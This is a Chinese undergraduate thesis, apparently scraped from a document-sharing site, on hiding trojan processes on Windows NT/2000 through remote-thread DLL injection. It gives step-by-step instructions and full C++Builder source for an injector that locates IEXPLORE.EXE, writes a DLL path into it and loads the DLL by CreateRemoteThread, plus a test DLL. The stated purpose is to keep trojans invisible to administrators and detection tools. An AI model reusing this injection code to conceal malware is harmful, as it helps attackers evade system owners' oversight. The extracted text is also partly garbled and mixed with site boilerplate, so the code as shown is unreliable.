版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、计算机毕业论文-WindowsNT/2000系统下进程的隐藏 计算机毕业论文 摘要进程的隐藏一直是木马程序设计者不断探求的重要技术,本文采用远程线程技术,通过动态链接库方法,较好地解决了这一问题,通过远程线程将木马作为线程隐藏在其他进程中,从而达到隐藏的目的。 关键字进程线程木马动态链接库 木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。 本文分析了WindowsNT/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现WindowsNT/2000系统中进程的隐藏。 1基本原理 在WIN95/
2、98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WindowsNT/2000中却完全不同,无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过WindowsNT/2000的任务管理器,WindowsNT/2000的任务管理器均能轻松显示出木马进程,难道在WindowsNT/2000下木马真的再也无法隐藏自己的进程了?我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和SOCKET已经成为流行的技术,假设一个木马在运
3、行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在WindowsNT/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。 2实现方法 为了弄清实现方法,我们必须首先了解Windows系统的另一种”可执行文件”-DLL,DLL是DynamicLinkLibrary(动态链接库)的缩写,D
4、LL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL,假设我们编写了一个木马DLL,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马DLL,如果那个进程是可信进程,(例如浏览器程序IEXPLORE.EXE,没人会怀疑它是木马吧?)那么我们编写的DLL作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。 运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术
5、,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。 远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过CreateThread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地
6、址空间以及其他的资源。但是很少有人知道,通过CreateRemoteThread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。 3实施步骤 1)用Process32Next()函数找到宿主进程,获取宿主进程ID,并用 OpenProcess()函数打开宿主进程。 2)用VirtualAllocEx()函数分配远程进程地址空间中的 内存。 3)用WriteProcessMemory()函数将待隐藏的DLL的路径名。 4)拷贝到步骤二已经分配的内存
7、中。 5)用GetProcAddress()函数获取LoadlibraryA()函数的实地址(在kernel32.dll中)。 6)用CreateRemoteThread()函数在远程进程中创建一个线程。 7)它调用正确的LoadlibraryA()函数。 8)为它传递步骤二中分配的内存地址。 4具体实例 下面是在C+Builder4.0环境下编写的运用远程线程技术隐藏木马的程序代码: #include #include #include #include/该头文件包涵了进程操作的API函数 #pragmahdrstop #include”Unit1.h” #pragmapackage(sma
8、rt_init) #pragmaresource”*.dfm” InsistingpszLibFileName;/存放待隐藏的DLL文件名 HANDLEhProcessSnap=NULL;/进程快照句柄 HANDLEhRemoteProcess;/远程进程句柄 LPVOIDpszLibFileRemote;/远程进程中分配给文件名的空间 HMODULEphmd;/存放kernel32.dll句柄 HANDLEhRemoteThread1=NULL;/存放远程线程句柄 TForm1*Form1; /- _fastcallTForm1:TForm1(TComponent*Owner) :TForm
9、(Owner) /- void_fastcallTForm1:Button1Click(TObject*Sender PROCESSENTRY32pe32=0; DWORDdwRemoteProcessId; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); /打开进程快照 if(hProcessSnap=(HANDLE)-1) MessageBox(NULL,”CreateToolhelp32Snapshotfailed”,”“,MB_OK); exit(0); /失败返回 pe32.dwSize=sizeof(PROC
10、ESSENTRY32); if(Process32Fi rst(hProcessSnap,&pe32)/获取第一个进程 do AnsiStringte; te=pe32.szExeFile; if(te.Pos(“iexplore.exe”)|te.Pos(“IEXPLORE.EXE”) /找到宿主进程,以IEXPLORE.EXE为例 dwRemoteProcessId=pe32.th32ProcessID; break; while(Process32Next(hProcessSnap,&pe32);/获取下一个进程 else MessageBox(NULL,”取第一个进程失败”,”“,MB
11、_OK); exit(0); hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM _OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId); /打开远程进程 pszLibFileName=GetCurrentDir()+”+”hide.dll”; /假设hide.dll是待隐藏的进程 intcb=(1+pszLibFileName.Length()*sizeof(char);/计算dll文件名长度 pszLibFileRemote=(PWSTR)VirtualAllocEx(hR
12、emoteProcess,NULL,cb, MEM_COMMIT,PAGE_READWRITE); /申请存放文件名的空间 BOOLReturnCode=WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL); /把dll文件名写入申请的空间 phmd=GetModuleHandle(“kernel32.dll”); LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(ph
13、md,”LoadLibraryA”); /获取动态链接库函数地址 hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0, pfnStartAddr,pszLibFileRemote,0,NULL); /创建远程线 if(hRemoteThread1!=NULL) CloseHandle(hRemoteThread1);/关闭远程线程 if(hProcessSnap!=NULL) CloseHandle(hProcessSnap);/关闭进程快照 该程序编译后命名为RmtDll.exe,运行时点击界面上的按钮即可。 至此,远程嵌入顺利完成
14、,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在C+Builder4.0环境下编写并编译了下面的hide.dll作为测试: nclude #include #pragmahdrstop #pragmaargsused BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved) charszProcessId64; switch(reason) caseDLL_PROCESS_ATTACH: /获取当前进程ID itoa(GetCurrentProcessId(),szProcess
15、Id,10); MessageBox(NULL,szProcessId,”RemoteDLL”,MB_OK); break; default: returnTRUE; 当使用RmtDll.exe程序将这个hide.dll嵌入IEXPLORE.EXE进程后假设PID=1208),该测试DLL弹出了1208字样的确认框,同时使用PS工具 也能看到: ProcessID:1208 C:WINNTIEXPLORE.EXE(0x00400000) C:WINNThide.dll(0x100000000) 这证明hide.dll已经在IEXPLORE.EXE进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。 5结束语 进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 木工分包合同范本
- 原木销售购入合同
- 电子设备保修服务合同
- 标准技术服务合同简化版
- 招标文件合同的许可问题
- 教育装备产品购买合同
- 购买牛只合同范本
- 医疗器材订购合同样式
- 油漆工分包合同范本示例
- 艺术生学业保证书
- 严重精神障碍患者随访服务记录表
- JTJ-T-259-2004水下深层水泥搅拌法加固软土地基技术规范-PDF解密
- 20S121生活热水加热机组(热水机组选用与安装)
- 跨学科学习:一种基于学科的设计、实施与评价
- 医院典型案件评析制度
- MOOC 管理学原理-大连理工大学 中国大学慕课答案
- JJG 527-2015固定式机动车雷达测速仪
- 建设工程检测委托合同
- 完整解读2024年关于加强社区工作者队伍建设的意见内容课件
- 中班科学教案:好吃的栗子
- 检验后质量控制讲解
评论
0/150
提交评论